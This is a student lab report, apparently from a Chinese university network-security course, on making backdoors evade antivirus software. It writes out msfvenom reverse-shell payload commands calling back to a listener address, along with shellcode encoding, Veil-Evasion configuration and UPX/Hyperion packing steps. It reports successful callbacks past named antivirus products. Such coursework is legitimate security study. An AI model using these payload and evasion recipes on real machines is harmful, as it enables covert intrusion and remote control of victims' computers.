2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践

1 免杀原理与实验内容

1.1 免杀原理

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

  • 哪里有后门呢?
    • 编译器留后门
    • 操作系统留后门
    • 最常见的当然还是应用程序中留后门
    • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

1.2 实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。

任务二:通过组合应用各种技术实现恶意代码免杀。

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

2 基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含一段特征码就是一段或多段数据则被认为是恶意代码。

  • 基于行为的恶意软件检测:指通用的、多特征的、非精确的扫描,如果一个可执行文件存在非授权的操作,那么就把它认定为恶意的。

(2)免杀是做什么?

  • 免杀就是让安插的后门不被AV软件发现。

(3)免杀的基本方法有哪些?

  • 通过改变特征码:

    • 对于EXE文件进行加壳处理(压缩壳、加密壳)。
    • 对于shellcode,用基于payload重新编译生成可执行文件或用encode进行编码。
    • 对于源代码,用其他语言进行重写再编译(veil-evasion)。
  • 通过改变行为:
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

3 实验步骤

3.1 使用msf编码器,msfvenom生成如jar之类的文件

  • 实验二中使用msf生成了后门程序,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。 用VirusTotal扫描后结果如下图。

  • 结果显示告诉我们后门程序如果不加处理,绝大多数杀软很快就可以识别出来。

  • 输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.26.133 LPORT=5209 -f exe > test.exe对后门程序进行10次编码尝试降低检出率。

  • 再次使用VirusTotal扫描,结果如下,没有任何变化。

  • 输入msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.26.133 lport=5209 x> test2.jar生成jar文件进行测试。
  • 输入msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.26.133 lport=5209 x> test3.php生成PHP文件进行测试。
  • 输入msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.26.133 LPORT=5209 -f raw > shell.jsp生成jsp文件并伪装名字成shell,进行测试。

3.2 veil-evasion

  • 安装步骤参考安装免杀工具Veil-Evasion然而我没有在自己的虚拟机中安装成功,崩了虚拟机之后拷了其他同学的。

  • 输入veil进入veil的界面,再输入use evasion进入Evil-Evasion。

  • 输入use c/meterpreter/rev_tcp.py进入配置界面。
  • 输入set LHOST 192.168.26.133设置反弹连接。
  • 输入set LPORT 5209设置端口号。
  • 输入generate生成文件。
  • 输入09_c_txtplayload的名字。

3.2 使用shellcode编程

  • 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.133 LPORT=5209 -f c 生成一段c语言格式的shellcode数组。
  • 将生成的shellcode写成函数并进行调用。
  • 输入sudo apt-get install mingw-w64下载编译软件,输入i686-w64-mingw32-g++ 09scode.c -o 09scode.exe。
  • 检测结果如下。

3.3 加壳

  • 压缩壳:输入upx 09scode.exe -o 09scode.upxed.exe尝试对上面的shellcode加壳,并进行检测,结果如下。

  • 加密壳:将生成upx文件拷贝到/usr/share/windows-binaries/hyperion/目录中并进入,输入wine hyperion.exe -v 09scode.upxed.exe shell09.exe进行加壳,检测结果如下。

3.4 通过组合应用各种技术实现恶意代码免杀

  • 采用C语言调用bloxor编码的shellcode方式免杀成功并可以回连

    • 被控主机:win10
    • 扫描软件:360安全卫士11.5
    • 输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.26.133 LPORT=5209 -f c生成shellcode。
    • 在win10中查杀结果如下。

3.5 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
  • 实验环境:win7虚拟机,腾讯电脑管家13.0.版本。
  • 结果如下。

4. 离实战还缺些什么技术或步骤?

  • 对免杀的知识了解还不够多,只是能够利用软件生成简单的恶意代码并对其进行加壳;伪装手法还是很低级,没有办法真正的攻入一台电脑并不被其发现。

5. 实践总结与体会

实验中还是很容易出现虚拟机崩盘的情况的,也被杀毒软件搞到有点难受,但是情况总比办法多。通过这次实验让我更加的体会到虽然安装了杀毒软件,但其也不万能的。

2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. Mac - MySQL初始密码忘记重置MySQL root密码

    在什么情况下,需要重置root密码呢?那就是我们忘记了.还有一种比较坑的,那就是笔者的这种情况.按照正常的情况下,MySQL安装完之后,会弹出一个对话框,显示着一个临时的root密码,但无论笔者如何重 ...

  2. Django---路由如何配置

    具体配置在项目配置文件夹下的 urls.py: from index import views urlpatterns = [ path('admin/', admin.site.urls), pat ...

  3. poj 2125 Destroying The Graph 最小割+方案输出

    构图思路: 1.将所有顶点v拆成两个点, v1,v2 2.源点S与v1连边,容量为 W- 3.v2与汇点连边,容量为 W+ 4.对图中原边( a, b ), 连边 (a1,b2),容量为正无穷大 则该 ...

  4. 2018牛客网暑期ACM多校训练营(第三场) A - PACM Team - [四维01背包][四约束01背包]

    题目链接:https://www.nowcoder.com/acm/contest/141/A 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 262144K,其他语言524288K ...

  5. 数据恢复:AMDU数据抽取恢复

    今天我们通过一则真实的案例来认识oracle 自带工具AMDU,无需将磁盘组mount即可实现数据分析,轻松进行数据恢复.某日,我们收到了一则香港用户ASM破坏案例,请求数据恢复.灾难描述:这则案例是 ...

  6. ionic 下拉选择框中默认显示传入的参数

    开发过程当中遇到一个有趣的问题,如果我在第一个页面需要把 item { "ownerId" : 1 } 传递给第二个页面,并挂在$scope下 $scope.item = $sta ...

  7. ionic项目打包好Xcode工程,模拟器运行各种沙盒缓存目录

    用ionic开发好的app,build好iOS端可用的Xcode工程,然后用模拟器跑起来.研究一下js写的代码做本地持久化时,不同类型的文件都放在那里了. cordova-plugin-sqliteS ...

  8. m4a 转 wav

    https://blog.csdn.net/zjm750617105/article/details/80148473 sox 不行, ffmpeg 很麻烦, 考虑用 avconv 很简单: 安装: ...

  9. 洛谷P4139 上帝与集合的正确用法 拓欧

    正解:拓展欧拉定理 解题报告: 首先放上拓欧公式? if ( b ≥ φ(p) )  ab ≡ ab%φ(p)+φ(p)(mod p)else ab≡ab mod φ(p) (mod p) 首先利用扩 ...

  10. 对Django框架架构和Request/Response处理流程的分析(转)

    原文:http://blog.sina.com.cn/s/blog_8a18c33d010182ts.html 一. 处理过程的核心概念 如下图所示django的总览图,整体上把握以下django的组 ...